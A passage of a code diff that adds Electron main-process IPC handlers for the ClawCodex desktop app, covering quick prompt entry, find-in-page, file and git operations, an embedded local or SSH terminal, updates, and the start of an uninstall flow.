+    shortcut: settings.enabled ? state.shortcut : settings.shortcut
+  }
+})
+
+ipcMain.handle('clawcodex:quick-entry:settings:set', async (_event, patch) => {
+  const current = readQuickEntrySettings()
+
+  const next = sanitizeQuickEntrySettings({
+    enabled: patch?.enabled === undefined ? current.enabled : patch.enabled === true,
+    shortcut: typeof patch?.shortcut === 'string' && patch.shortcut.trim() ? patch.shortcut : current.shortcut
+  })
+
+  writeQuickEntrySettings(next)
+
+  return applyQuickEntrySettings(next)
+})
+
+// Quick window → main → PRIMARY renderer. We never submit here: the renderer
+// owns the one prompt-submit path, and forwarding keeps it that way. The
+// payload is `{ target, text }` — target routing (current chat / a picked
+// session / new) is the renderer's job too.
+ipcMain.on('clawcodex:quick-entry:submit', (_event, payload) => {
+  hideQuickEntryWindow()
+
+  const text = typeof payload?.text === 'string' ? payload.text.trim() : ''
+
+  if (!text) {
+    return
+  }
+
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    rememberLog('[quick-entry] dropped a submit: no primary window to route it to')
+
+    return
+  }
+
+  // Deliberately does NOT raise/focus the main window — the user asked to fire
+  // a prompt from wherever they were, not to be yanked into the app.
+  mainWindow.webContents.send('clawcodex:quick-entry:submit', {
+    target: typeof payload?.target === 'string' && payload.target ? payload.target : 'current',
+    text
+  })
+})
+
+// Primary renderer → main → quick window: gateway connection state + the
+// recent-session list for the target picker. Cached so a quick window spawned
+// AFTER the last push still boots from truth instead of "disconnected".
+ipcMain.on('clawcodex:quick-entry:state', (_event, payload) => {
+  quickEntryLastState = payload ?? null
+
+  if (quickEntryWindow && !quickEntryWindow.isDestroyed()) {
+    quickEntryWindow.webContents.send('clawcodex:quick-entry:state', payload)
+  }
+})
+
+ipcMain.on('clawcodex:quick-entry:dismiss', () => hideQuickEntryWindow())
+
+ipcMain.handle('clawcodex:openExternal', (_event, url) => {
+  if (!openExternalUrl(url)) {
+    throw new Error('Invalid external URL')
+  }
+})
+
+// ── Find-in-page (Ctrl/Cmd+F) ─────────────────────────────────────────────
+// The desktop supports multiple BrowserWindows (one primary plus any
+// per-session secondary windows spawned via `clawcodex:window:openSession`).
+// Find must run against the requesting window, not a global — otherwise
+// Cmd+F pressed in a secondary session window would search the primary
+// and the match counter would report matches the user can't see. Resolve
+// the sender through `BrowserWindow.fromWebContents(event.sender)` and
+// forward `found-in-page` results back to that same sender.
+
+// Lazily-installed forwarder per sender webContents. We track one
+// uninstall fn per webContents id and prune entries when the sender goes
+// away — Electron does not auto-detach webContents listeners on close,
+// so the map is the cleanup path.
+const foundInPageForwarders = new Map<number, () => void>()
+
+function ensureFoundInPageForwarder(sender: Electron.WebContents): void {
+  if (foundInPageForwarders.has(sender.id)) {
+    return
+  }
+
+  const uninstall = installFoundInPageForwarder(sender)
+  foundInPageForwarders.set(sender.id, uninstall)
+
+  sender.once('destroyed', () => {
+    foundInPageForwarders.get(sender.id)?.()
+    foundInPageForwarders.delete(sender.id)
+  })
+}
+
+ipcMain.handle('clawcodex:find-in-page', (event, query, options) => {
+  const win = BrowserWindow.fromWebContents(event.sender)
+
+  if (!win || win.isDestroyed()) {
+    return { count: 0 }
+  }
+
+  ensureFoundInPageForwarder(event.sender)
+  performFind(win.webContents, query, options)
+
+  // The match count arrives asynchronously via `found-in-page`; the
+  // synchronous return value is intentionally `{ count: 0 }` to mirror
+  // Electron's own `findInPage` return semantics (an opaque request id).
+  return { count: 0 }
+})
+
+ipcMain.handle('clawcodex:stop-find-in-page', event => {
+  const win = BrowserWindow.fromWebContents(event.sender)
+
+  if (!win || win.isDestroyed()) {
+    return
+  }
+
+  stopFind(win.webContents)
+})
+
+ipcMain.handle('clawcodex:openPreviewInBrowser', async (_event, url) => {
+  if (!(await openPreviewInBrowser(url))) {
+    throw new Error('Invalid preview URL')
+  }
+})
+
+// User-configurable default project directory. The renderer reads this on
+// settings mount and seeds the value into the picker; writing back persists
+// it via writeDefaultProjectDir so resolveClawCodexCwd picks it up on the next
+// session spawn (no app restart needed).
+ipcMain.handle('clawcodex:setting:defaultProjectDir:get', async () => ({
+  dir: readDefaultProjectDir(),
+  defaultLabel: app.getPath('home'),
+  resolvedCwd: resolveClawCodexCwd()
+}))
+
+ipcMain.handle('clawcodex:workspace:sanitize', async (_event, cwd) => sanitizeWorkspaceCwd(cwd))
+
+ipcMain.handle('clawcodex:setting:defaultProjectDir:set', async (_event, dir) => {
+  const next = typeof dir === 'string' && dir.trim() ? dir.trim() : null
+
+  if (next) {
+    try {
+      fs.mkdirSync(next, { recursive: true })
+    } catch (error) {
+      throw new Error(`Could not create directory: ${error.message}`)
+    }
+  }
+
+  writeDefaultProjectDir(next)
+
+  return { dir: next }
+})
+
+ipcMain.handle('clawcodex:setting:defaultProjectDir:pick', async () => {
+  const result = await dialog.showOpenDialog({
+    title: 'Choose default project directory',
+    properties: ['openDirectory', 'createDirectory'],
+    defaultPath: readDefaultProjectDir() || app.getPath('home')
+  })
+
+  if (result.canceled || result.filePaths.length === 0) {
+    return { canceled: true, dir: null }
+  }
+
+  return { canceled: false, dir: result.filePaths[0] }
+})
+
+ipcMain.handle('clawcodex:fetchLinkTitle', (_event, url) => fetchLinkTitle(url))
+
+ipcMain.handle('clawcodex:logs:reveal', async () => {
+  try {
+    await fs.promises.mkdir(path.dirname(DESKTOP_LOG_PATH), { recursive: true })
+
+    if (!fileExists(DESKTOP_LOG_PATH)) {
+      await fs.promises.appendFile(DESKTOP_LOG_PATH, '')
+    }
+
+    shell.showItemInFolder(DESKTOP_LOG_PATH)
+
+    return { ok: true, path: DESKTOP_LOG_PATH }
+  } catch (error) {
+    return { ok: false, path: DESKTOP_LOG_PATH, error: error.message }
+  }
+})
+
+ipcMain.handle('clawcodex:logs:recent', async () => ({ path: DESKTOP_LOG_PATH, lines: clawcodexLog.slice(-200) }))
+
+function isExecutableFile(filePath) {
+  if (!filePath || !path.isAbsolute(filePath)) {
+    return false
+  }
+
+  try {
+    fs.accessSync(filePath, fs.constants.X_OK)
+
+    return true
+  } catch {
+    return false
+  }
+}
+
+function posixShellSpec(shellPath) {
+  const shellName = path.basename(shellPath)
+  const interactiveArgs = shellName.includes('zsh') || shellName.includes('bash') ? ['-il'] : ['-i']
+
+  return { args: interactiveArgs, command: shellPath, name: shellName }
+}
+
+// Windows PowerShell 5.1 ships at a fixed System32 path on every Windows box;
+// prefer it only after PowerShell 7+ (`pwsh`).
+function windowsPowerShellPath() {
+  const systemRoot = process.env.SystemRoot || process.env.windir || 'C:\\Windows'
+  const builtin = path.join(systemRoot, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe')
+
+  return isExecutableFile(builtin) ? builtin : findOnPath('powershell.exe')
+}
+
+// Map a resolved shell path to its spawn spec, picking interactive flags by
+// family: PowerShell drops its logo banner (so the prompt sits flush like the
+// POSIX shells), cmd needs nothing, and everything else (zsh/bash/fish/sh…)
+// gets POSIX interactive-login flags.
+function shellSpecFor(shellPath) {
+  const name = path.basename(shellPath).toLowerCase()
+
+  if (name.startsWith('pwsh') || name.startsWith('powershell')) {
+    return { args: ['-NoLogo'], command: shellPath, name }
+  }
+
+  if (name.startsWith('cmd')) {
+    return { args: [], command: shellPath, name }
+  }
+
+  return posixShellSpec(shellPath)
+}
+
+// Best installed Windows shell: PowerShell 7+ (`pwsh`), then Windows PowerShell
+// 5.1, then comspec/cmd.exe as the universal fallback.
+function windowsShellSpec() {
+  const command =
+    findOnPath('pwsh.exe') || findOnPath('pwsh') || windowsPowerShellPath() || process.env.COMSPEC || 'cmd.exe'
+
+  return shellSpecFor(command)
+}
+
+// Resolve the interactive shell for the embedded terminal: an explicit user
+// override wins, otherwise auto-detect the best one installed for the platform.
+function terminalShellCommand() {
+  // CLAWCODEX_DESKTOP_SHELL is the cross-platform escape hatch (a path or a bare
+  // name on PATH); $SHELL is honored on POSIX, where it's the user's canonical
+  // choice, but ignored on Windows, where it's usually a stray MSYS/Git path
+  // node-pty can't spawn natively.
+  const override = (process.env.CLAWCODEX_DESKTOP_SHELL || (IS_WINDOWS ? '' : process.env.SHELL) || '').trim()
+
+  if (override) {
+    const resolved = isExecutableFile(override) ? override : findOnPath(override)
+
+    if (resolved) {
+      return shellSpecFor(resolved)
+    }
+  }
+
+  if (IS_WINDOWS) {
+    return windowsShellSpec()
+  }
+
+  const shellPath = ['/bin/zsh', '/bin/bash', '/bin/sh'].find(candidate => isExecutableFile(candidate))
+
+  return posixShellSpec(shellPath || '/bin/sh')
+}
+
+function safeTerminalCwd(cwd) {
+  const candidate = path.resolve(String(cwd || app.getPath('home')))
+
+  try {
+    const stat = fs.statSync(candidate)
+
+    return stat.isDirectory() ? candidate : path.dirname(candidate)
+  } catch {
+    return app.getPath('home')
+  }
+}
+
+function terminalShellEnv() {
+  const env = { ...process.env }
+
+  // Electron is commonly launched through `npm run dev`; do not leak npm's
+  // managed prefix into a user's interactive shell (nvm/proto warn loudly).
+  for (const key of Object.keys(env)) {
+    if (key === 'npm_config_prefix' || key.startsWith('npm_config_') || key.startsWith('npm_package_')) {
+      delete env[key]
+    }
+  }
+
+  // Strip color/theme-detection vars that ride along when Electron is launched
+  // from a non-tty agent shell (Cursor's runner sets NO_COLOR/FORCE_COLOR=0
+  // /TERM=dumb; some terminals set COLORFGBG which would flip ClawCodex' TUI into
+  // light-mode). Our PTY is a real xterm-compat terminal — force truecolor.
+  delete env.NO_COLOR
+  delete env.FORCE_COLOR
+  delete env.COLORFGBG
+
+  env.COLORTERM = 'truecolor'
+  env.LC_CTYPE = env.LC_CTYPE || 'UTF-8'
+  env.TERM = 'xterm-256color'
+  env.TERM_PROGRAM = 'ClawCodex'
+  env.TERM_PROGRAM_VERSION = app.getVersion()
+
+  // Let a clawcodex/--tui launched in this pane know it's embedded in the desktop
+  // GUI (build_environment_hints surfaces this). Distinct from CLAWCODEX_DESKTOP,
+  // which marks the agent *backend* and gates cron/gateway behavior.
+  env.CLAWCODEX_DESKTOP_TERMINAL = '1'
+
+  return env
+}
+
+function terminalChannel(id, suffix) {
+  return `clawcodex:terminal:${id}:${suffix}`
+}
+
+// Best-effort read of a live PTY child's current working directory so a
+// reopened tab can restart the shell where the user last `cd`'d, instead of the
+// tab's original launch dir. Shell-agnostic (no prompt/OSC config needed) on
+// POSIX; Windows has no cheap per-process cwd query without a native module, so
+// it returns null and the caller falls back to the launch cwd.
+function readProcessCwd(pid) {
+  return new Promise(resolve => {
+    if (!Number.isInteger(pid) || pid <= 0) {
+      resolve(null)
+
+      return
+    }
+
+    if (process.platform === 'linux') {
+      fs.promises
+        .readlink(`/proc/${pid}/cwd`)
+        .then(target => resolve(target || null))
+        .catch(() => resolve(null))
+
+      return
+    }
+
+    if (process.platform === 'darwin') {
+      // lsof ships with macOS; -Fn emits the cwd fd's path on an `n<path>` line.
+      execFile('lsof', ['-a', '-p', String(pid), '-d', 'cwd', '-Fn'], { timeout: 2000 }, (err, stdout) => {
+        if (err) {
+          resolve(null)
+
+          return
+        }
+
+        const line = String(stdout || '')
+          .split('\n')
+          .find(entry => entry.startsWith('n'))
+
+        resolve(line ? line.slice(1) : null)
+      })
+
+      return
+    }
+
+    resolve(null)
+  })
+}
+
+function disposeTerminalSession(id) {
+  const sessionInfo = terminalSessions.get(id)
+
+  if (!sessionInfo) {
+    return false
+  }
+
+  terminalSessions.delete(id)
+
+  try {
+    sessionInfo.pty.kill()
+  } catch {
+    // Process may already be gone.
+  }
+
+  return true
+}
+
+ipcMain.handle('clawcodex:fs:readDir', async (_event, dirPath) => readDirForIpc(dirPath))
+
+ipcMain.handle('clawcodex:fs:gitRoot', async (_event, startPath) => gitRootForIpc(startPath))
+
+// Reveal a path in the OS file manager (Finder / Explorer / Files).
+ipcMain.handle('clawcodex:fs:reveal', async (_event, targetPath) => {
+  const target = String(targetPath || '').trim()
+
+  if (!target) {
+    return false
+  }
+
+  try {
+    shell.showItemInFolder(target)
+
+    return true
+  } catch {
+    return false
+  }
+})
+
+// Open a DIRECTORY in the OS file manager, creating it first if needed. Unlike
+// `reveal` (which selects an existing item and silently no-ops on a missing
+// path — the "Open plugins folder" Windows bug), this is for the plugins door,
+// which often doesn't exist on first use. `shell.openPath` returns '' on
+// success or an error string; both mkdir + openPath failures are surfaced.
+ipcMain.handle('clawcodex:fs:openDir', async (_event, dirPath) => {
+  const dir = String(dirPath || '').trim()
+
+  if (!dir) {
+    return { ok: false, error: 'no path' }
+  }
+
+  try {
+    await fs.promises.mkdir(dir, { recursive: true })
+    const error = await shell.openPath(path.normalize(dir))
+
+    return error ? { ok: false, error } : { ok: true }
+  } catch (error) {
+    return { ok: false, error: error instanceof Error ? error.message : String(error) }
+  }
+})
+
+// The LOCAL Desktop runtime-plugin root: `<CLAWCODEX_CONFIG_DIR>/desktop-plugins`,
+// resolved from the main-process CLAWCODEX_CONFIG_DIR (see resolveClawCodexHome) — NOT from
+// the connected backend. A remote backend reports its own `clawcodex_home` over
+// the gateway, which is a path on the REMOTE box; deriving the plugin dir from
+// it yields `undefined/desktop-plugins` (or a non-existent remote path) and the
+// on-disk plugin door silently breaks (#66899). Electron owns this resolution
+// so it stays valid in every connection mode. Created on demand, like openDir.
+ipcMain.handle('clawcodex:fs:desktopPluginsRoot', async () => {
+  // Profile-aware: a named Desktop profile gets its own plugin root under
+  // profiles/<name>/, matching the profile-scoped clawcodex_home the backend
+  // reported before this resolver existed. 'default'/unset pins the global root.
+  const profile = readActiveDesktopProfile()
+  const base = profile && profile !== 'default' ? path.join(CLAWCODEX_CONFIG_DIR, 'profiles', profile) : CLAWCODEX_CONFIG_DIR
+  const dir = path.join(base, 'desktop-plugins')
+
+  try {
+    await fs.promises.mkdir(dir, { recursive: true })
+  } catch {
+    // Best-effort create; return the path regardless so the reveal action can
+    // still surface a real openPath error and the scanner can retry later.
+  }
+
+  return dir
+})
+
+// Rename a file/folder in place. The renderer passes the existing path + a new
+// base name; the destination is resolved in the SAME parent dir so a rename can
+// never move the item elsewhere or traverse out. Rejects on a name collision.
+ipcMain.handle('clawcodex:fs:rename', async (_event, targetPath, newName) => {
+  const src = String(targetPath || '').trim()
+  const name = String(newName || '').trim()
+
+  if (!src || !name || name === '.' || name === '..' || name.includes('/') || name.includes('\\')) {
+    throw new Error('Invalid rename')
+  }
+
+  const dst = path.join(path.dirname(src), name)
+
+  if (dst === src) {
+    return { path: dst }
+  }
+
+  if (fs.existsSync(dst)) {
+    throw new Error(`"${name}" already exists`)
+  }
+
+  await fs.promises.rename(src, dst)
+
+  return { path: dst }
+})
+
+// Write a small UTF-8 text file (e.g. a project's IDEA.md at creation). The path
+// is hardened (resolveRequestedPathForIpc) and the parent must already exist —
+// this never creates directory trees or escapes the allowed roots, and content
+// is size-capped so it can't be abused as a bulk-write primitive.
+ipcMain.handle('clawcodex:fs:writeText', async (_event, filePath, content) => {
+  const raw = String(filePath || '').trim()
+
+  if (!raw) {
+    throw new Error('Invalid path')
+  }
+
+  const text = String(content ?? '')
+
+  if (text.length > 1_000_000) {
+    throw new Error('Content too large')
+  }
+
+  const resolved = resolveRequestedPathForIpc(expandUserPath(raw), { purpose: 'Write text file' })
+
+  if (!directoryExists(path.dirname(resolved))) {
+    throw new Error('Parent directory does not exist')
+  }
+
+  await fs.promises.writeFile(resolved, text, 'utf8')
+
+  return { path: resolved }
+})
+
+// Move a file/folder to the OS trash (recoverable) — the VS Code "Delete"
+// default. `shell.trashItem` routes to Finder/Explorer/Files trash per platform.
+ipcMain.handle('clawcodex:fs:trash', async (_event, targetPath) => {
+  const target = String(targetPath || '').trim()
+
+  if (!target) {
+    throw new Error('Invalid delete')
+  }
+
+  await shell.trashItem(target)
+
+  return true
+})
+
+// Git-driven worktree management ("Start work" flow). Errors surface to the
+// renderer as rejected promises so it can toast a friendly message.
+ipcMain.handle('clawcodex:git:worktreeList', async (_event, repoPath) => listWorktrees(repoPath, resolveGitBinary()))
+
+ipcMain.handle('clawcodex:git:worktreeAdd', async (_event, repoPath, options) =>
+  addWorktree(repoPath, options || {}, resolveGitBinary())
+)
+
+ipcMain.handle('clawcodex:git:worktreeRemove', async (_event, repoPath, worktreePath, options) =>
+  removeWorktree(repoPath, worktreePath, options || {}, resolveGitBinary())
+)
+
+ipcMain.handle('clawcodex:git:branchSwitch', async (_event, repoPath, branch) =>
+  switchBranch(repoPath, branch, resolveGitBinary())
+)
+
+ipcMain.handle('clawcodex:git:branchList', async (_event, repoPath) => listBranches(repoPath, resolveGitBinary()))
+
+ipcMain.handle('clawcodex:git:baseBranchList', async (_event, repoPath) => listBaseBranches(repoPath, resolveGitBinary()))
+
+// Compact repo status (branch, ahead/behind, change counts + files) for the
+// composer coding rail. Returns null on a non-repo / remote backend so the rail
+// hides cleanly rather than erroring.
+ipcMain.handle('clawcodex:git:repoStatus', async (_event, repoPath) => repoStatus(repoPath, resolveGitBinary()))
+
+// Codex-style review pane: list changed files for a scope, fetch one file's
+// unified diff, and stage / unstage / revert. Reads return empty on failure;
+// mutations reject so the renderer can toast.
+ipcMain.handle('clawcodex:git:review:list', async (_event, repoPath, scope, baseRef) =>
+  reviewList(repoPath, scope, baseRef, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:diff', async (_event, repoPath, filePath, scope, baseRef, staged) =>
+  reviewDiff(repoPath, filePath, scope, baseRef, staged, resolveGitBinary())
+)
+// Working-tree-vs-HEAD diff for one file (the preview's "show the diff" view).
+ipcMain.handle('clawcodex:git:fileDiff', async (_event, repoPath, filePath) =>
+  fileDiffVsHead(repoPath, filePath, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:stage', async (_event, repoPath, filePath) =>
+  reviewStage(repoPath, filePath ?? null, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:unstage', async (_event, repoPath, filePath) =>
+  reviewUnstage(repoPath, filePath ?? null, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:revert', async (_event, repoPath, filePath) =>
+  reviewRevert(repoPath, filePath ?? null, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:revParse', async (_event, repoPath, ref) =>
+  reviewRevParse(repoPath, ref, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:commit', async (_event, repoPath, message, push) =>
+  reviewCommit(repoPath, message, Boolean(push), resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:commitContext', async (_event, repoPath) =>
+  reviewCommitContext(repoPath, resolveGitBinary())
+)
+ipcMain.handle('clawcodex:git:review:push', async (_event, repoPath) => reviewPush(repoPath, resolveGitBinary()))
+ipcMain.handle('clawcodex:git:review:shipInfo', async (_event, repoPath) => reviewShipInfo(repoPath, resolveGhBinary()))
+ipcMain.handle('clawcodex:git:review:createPr', async (_event, repoPath) =>
+  reviewCreatePr(repoPath, resolveGitBinary(), resolveGhBinary())
+)
+
+// Repo-first project discovery: scan bounded roots for git repos (pure fs walk,
+// no native addon). Never throws to the renderer — failures yield an empty list.
+ipcMain.handle('clawcodex:git:scanRepos', async (_event, roots, options) => {
+  try {
+    return await scanGitRepos(roots || [], options || {})
+  } catch {
+    return []
+  }
+})
+
+// node-pty's published tarball ships the POSIX `spawn-helper` without an exec
+// bit; the dev flow resolves node-pty straight from node_modules (nothing
+// chmods it there), so the first terminal spawn dies with `posix_spawnp
+// failed`. Restore the bit once, lazily, right before the first spawn. Packaged
+// builds already stage an executable copy, so this is a no-op there.
+let _spawnHelperEnsured = false
+
+function ensureNodePtySpawnHelper() {
+  if (_spawnHelperEnsured || IS_WINDOWS) {
+    return
+  }
+
+  _spawnHelperEnsured = true
+
+  try {
+    const nodePtyRoot = path.dirname(require.resolve('node-pty/package.json'))
+    const { fixed, errors } = ensureSpawnHelperExecutable(nodePtyRoot)
+
+    for (const helperPath of fixed) {
+      rememberLog(`[terminal] restored +x on node-pty spawn-helper: ${helperPath}`)
+    }
+
+    for (const failure of errors) {
+      rememberLog(`[terminal] could not chmod spawn-helper ${failure.path}: ${failure.error}`)
+    }
+  } catch (error) {
+    rememberLog(`[terminal] spawn-helper exec check skipped: ${error instanceof Error ? error.message : String(error)}`)
+  }
+}
+
+ipcMain.handle('clawcodex:terminal:start', async (event, payload = {}) => {
+  ensureNodePtySpawnHelper()
+
+  const id = crypto.randomUUID()
+  const { args, command, name } = terminalShellCommand()
+  const cwd = safeTerminalCwd(payload?.cwd)
+  const cols = Math.max(2, Number.parseInt(String(payload?.cols || 80), 10) || 80)
+  const rows = Math.max(2, Number.parseInt(String(payload?.rows || 24), 10) || 24)
+
+  const sshTarget = await resolveTerminalConnection(activeSshTerminalTarget, () => ensureBackend(primaryProfileKey()))
+  const remote = Boolean(sshTarget)
+  const remoteState = remote ? sshConnections.get(sshTarget.scope) : null
+
+  const remoteCommand =
+    remoteState?.remotePlatform === 'Windows'
+      ? buildWindowsInteractiveCommand(String(payload?.cwd || '').trim())
+      : undefined
+
+  const ptyProcess = remote
+    ? nodePty.spawn(
+        process.platform === 'win32'
+          ? path.join(process.env.SystemRoot || 'C:\\Windows', 'System32', 'OpenSSH', 'ssh.exe')
+          : 'ssh',
+        buildInteractiveSshArgs(sshTarget.ssh, String(payload?.cwd || '').trim(), undefined, remoteCommand),
+        { cols, cwd: app.getPath('home'), env: terminalShellEnv(), name: 'xterm-256color', rows }
+      )
+    : nodePty.spawn(command, args, { cols, cwd, env: terminalShellEnv(), name: 'xterm-256color', rows })
+
+  terminalSessions.set(id, {
+    pty: ptyProcess,
+    webContentsId: event.sender.id,
+    ...(remote ? { sshScope: sshTarget.scope, remoteCwd: String(payload?.cwd || '') } : {})
+  })
+
+  const send = (suffix, payload) => {
+    if (event.sender.isDestroyed()) {
+      return
+    }
+
+    event.sender.send(terminalChannel(id, suffix), payload)
+  }
+
+  ptyProcess.onData(data => send('data', data))
+  ptyProcess.onExit(({ exitCode, signal }) => {
+    terminalSessions.delete(id)
+    send('exit', { code: exitCode, signal: signal || null })
+  })
+  event.sender.once('destroyed', () => disposeTerminalSession(id))
+
+  return { cwd: remote ? null : cwd, id, shell: remote ? 'ssh' : name }
+})
+
+ipcMain.handle('clawcodex:terminal:write', (_event, id, data) => {
+  const sessionInfo = terminalSessions.get(String(id || ''))
+
+  if (!sessionInfo) {
+    return false
+  }
+
+  sessionInfo.pty.write(String(data || ''))
+
+  return true
+})
+
+ipcMain.handle('clawcodex:terminal:resize', (_event, id, size = {}) => {
+  const sessionInfo = terminalSessions.get(String(id || ''))
+
+  if (!sessionInfo) {
+    return false
+  }
+
+  const cols = Math.max(2, Number.parseInt(String(size?.cols || 80), 10) || 80)
+  const rows = Math.max(2, Number.parseInt(String(size?.rows || 24), 10) || 24)
+
+  sessionInfo.pty.resize(cols, rows)
+
+  return true
+})
+ipcMain.handle('clawcodex:terminal:cwd', async (_event, id) => {
+  const sessionInfo = terminalSessions.get(String(id || ''))
+
+  if (!sessionInfo) {
+    return null
+  }
+
+  return sessionInfo.sshScope !== undefined ? null : readProcessCwd(sessionInfo.pty.pid)
+})
+
+ipcMain.handle('clawcodex:terminal:dispose', (_event, id) => disposeTerminalSession(String(id || '')))
+
+ipcMain.handle('clawcodex:updates:check', async () =>
+  checkUpdates().catch(error => ({
+    supported: true,
+    branch: readDesktopUpdateConfig().branch,
+    error: 'check-failed',
+    message: error?.message || String(error),
+    fetchedAt: Date.now()
+  }))
+)
+
+ipcMain.handle('clawcodex:updates:apply', async (_event, payload) =>
+  applyUpdates(payload || {}).catch(error => ({
+    ok: false,
+    error: 'apply-failed',
+    message: error?.message || String(error)
+  }))
+)
+
+ipcMain.handle('clawcodex:updates:branch:get', async () => readDesktopUpdateConfig())
+
+ipcMain.handle('clawcodex:updates:branch:set', async (_event, name) => {
+  const branch = typeof name === 'string' && name.trim() ? name.trim() : DEFAULT_UPDATE_BRANCH
+  writeDesktopUpdateConfig({ branch })
+
+  return { branch }
+})
+
+// Resolve the canonical ClawCodex version (the one `release.py` bumps in
+// clawcodex_cli/__init__.py + pyproject.toml) so the desktop About panel shows the
+// real ClawCodex version instead of the Electron app's own package.json version,
+// which historically drifted (stuck at 0.0.2). Falls back to app.getVersion()
+// when the source tree can't be read (e.g. a packaged build without the repo).
+function resolveClawCodexVersion() {
+  try {
+    const root = resolveUpdateRoot()
+    const initPath = path.join(root, 'clawcodex_cli', '__init__.py')
+
+    if (fileExists(initPath)) {
+      const raw = fs.readFileSync(initPath, 'utf8')
+      const match = raw.match(/__version__\s*=\s*["']([^"']+)["']/)
+
+      if (match) {
+        return match[1]
+      }
+    }
+  } catch {
+    // Fall through to the Electron app version below.
+  }
+
+  return app.getVersion()
+}
+
+// Re-resolve the live ClawCodex version and push it into the native About panel
+// just before showing it, so an in-place `clawcodex update` is reflected without
+// an app restart. macOS only — `showAboutPanel()` is a no-op elsewhere, and the
+// other platforms don't use this menu item.
+function showAboutPanelFresh() {
+  app.setAboutPanelOptions({
+    applicationName: APP_NAME,
+    applicationVersion: resolveClawCodexVersion(),
+    copyright: 'Copyright © 2026 ClawCodex contributors'
+  })
+  app.showAboutPanel()
+}
+
+ipcMain.handle('clawcodex:version', async () => ({
+  appVersion: resolveClawCodexVersion(),
+  electronVersion: process.versions.electron,
+  nodeVersion: process.versions.node,
+  platform: process.platform,
+  clawcodexRoot: resolveUpdateRoot()
+}))
+
+// ===========================================================================
+// Uninstall — remove the Chat GUI (and optionally the agent / user data).
+// ===========================================================================
+//
+// The renderer's About → Danger Zone surfaces three options that mirror the
+// CLI exactly: GUI only, Lite (keep user data), Full. We ask the agent to do
+// the actual removal via `clawcodex uninstall …` so the cross-platform PATH /
+// registry / service / node-symlink cleanup all lives in one place
+// (clawcodex_cli/uninstall.py + clawcodex_cli/gui_uninstall.py).
+//
+// getUninstallSummary() shells out to `--gui-summary` (a fast, no-side-effect
+// JSON probe) so the UI can gate options on what's actually installed — and
+// detect a missing agent (a future "lite client" that ships without the
+// bundled agent), hiding the agent/full options when there's nothing to remove.
+
+function uninstallVenvPython() {
+  return getVenvPython(VENV_ROOT)
+}
+
+async function getUninstallSummary() {
+  const py = uninstallVenvPython()
+  const agentRoot = ACTIVE_CLAWCODEX_ROOT
+
+  // Fast JS-side fallback used when the agent venv is gone (lite client) or the
+  // probe fails — the renderer still needs *something* to render options from.
+  const fallback = () => ({
+    clawcodex_home: CLAWCODEX_CONFIG_DIR,
+    agent_installed: isClawCodexSourceRoot(agentRoot) && fileExists(py),
+    gui_installed: true,
+    source_built_artifacts: [],
+    packaged_app_paths: [],
+    userdata_dir: app.getPath('userData'),
+    userdata_exists: true,
+    platform: process.platform,
+    probe: 'fallback'
+  })
+
+  if (!fileExists(py)) {
+    return fallback()
+  }
+
+  return new Promise(resolve => {
+    let stdout = ''
+    let settled = false
+
+    const done = value => {
+      if (settled) {
+        return
+      }
+
+      settled = true
+      resolve(value)
+    }
+
+    try {
+      const child = spawn(
+        py,
+        ['-m', 'clawcodex_cli.main', 'uninstall', '--gui-summary'],
+        hiddenWindowsChildOptions({
+          cwd: agentRoot,
+          env: { ...process.env, CLAWCODEX_CONFIG_DIR, NO_COLOR: '1' },
+          stdio: ['ignore', 'pipe', 'ignore']
+        })
+      )
+
+      child.stdout.on('data', chunk => {
+        stdout += chunk.toString()
+      })
+      child.on('error', () => done(fallback()))
+      child.on('exit', code => {
+        if (code !== 0) {
+          return done(fallback())
+        }
+
+        try {
+          const line = stdout.trim().split('\n').filter(Boolean).pop() || '{}'
+          const parsed = JSON.parse(line)
+          // The app bundle the renderer would be removing on *this* machine,
+          // resolved from the running exe (the Python probe only knows the
+          // standard locations, not where THIS build actually runs from).
+          parsed.running_app_path = resolveRemovableAppPath(process.execPath, process.platform, process.env)
+          done(parsed)
+        } catch {
+          done(fallback())
+        }
+      })
+      setTimeout(() => done(fallback()), 8000)
+    } catch {
+      done(fallback())
+    }
+  })
+}
+
+async function runDesktopUninstall(mode) {
+  let uninstallArgs
+
+  try {
+    uninstallArgs = uninstallArgsForMode(mode)
+  } catch (error) {
+    return { ok: false, error: 'invalid-mode', message: error.message }
+  }
+
+  const venvPy = uninstallVenvPython()
+
+  if (!fileExists(venvPy)) {
+    return {
+      ok: false,
+      error: 'agent-missing',
+      message: `Can't run the uninstaller: no ClawCodex agent venv at ${VENV_ROOT}.`
+    }
+  }
+
+  // Interpreter choice (Finding 3): lite/full rmtree the venv that holds the
+  // running python.exe. On Windows a running .exe is mandatory-locked, so the
+  // rmtree must NOT be driven by the venv's own interpreter — use a system
+  // Python with PYTHONPATH=<agentRoot> so `import clawcodex_cli` resolves from
+  // source while the venv is torn down. gui-only doesn't touch the venv, so the
+  // venv python is fine there. If no system Python exists (the Windows edge
+  // case), fall back to the venv python — gui-only is unaffected; lite/full may
+  // leave venv remnants the user can delete, which we log.
+  let py = venvPy
+  let pythonPath = null
+
+  if (modeRemovesAgent(mode)) {
+    const sysPy = findSystemPython()
+
+    if (sysPy) {
+      py = sysPy
+      pythonPath = ACTIVE_CLAWCODEX_ROOT
+    } else if (IS_WINDOWS) {
+      rememberLog(
+        '[uninstall] no system Python found for lite/full on Windows; falling back ' +
+          'to the venv python — venv files locked by the running interpreter may ' +
+          'remain and need manual deletion.'
+      )
+    }
+  }
+
+  const appPath = resolveRemovableAppPath(process.execPath, process.platform, process.env)
+  const removeBundle = shouldRemoveAppBundle(IS_PACKAGED, appPath) ? appPath : null
+
+  // CRITICAL (Windows): tear down every backend the desktop owns and wait for
+  // the venv shim to unlock BEFORE the cleanup script runs. lite/full delete
+  // the venv, and even gui-only removes the install tree's GUI artifacts — a
+  // live backend grandchild (gateway / pty / REPL) holding a mandatory file
+  // lock would make the script's rmdir half-fail (#37532 for the update path).
+  // Reuses the incident-hardened update teardown; no-op on macOS/Linux.
+  try {
+    await releaseBackendLock(ACTIVE_CLAWCODEX_ROOT, 'uninstall')
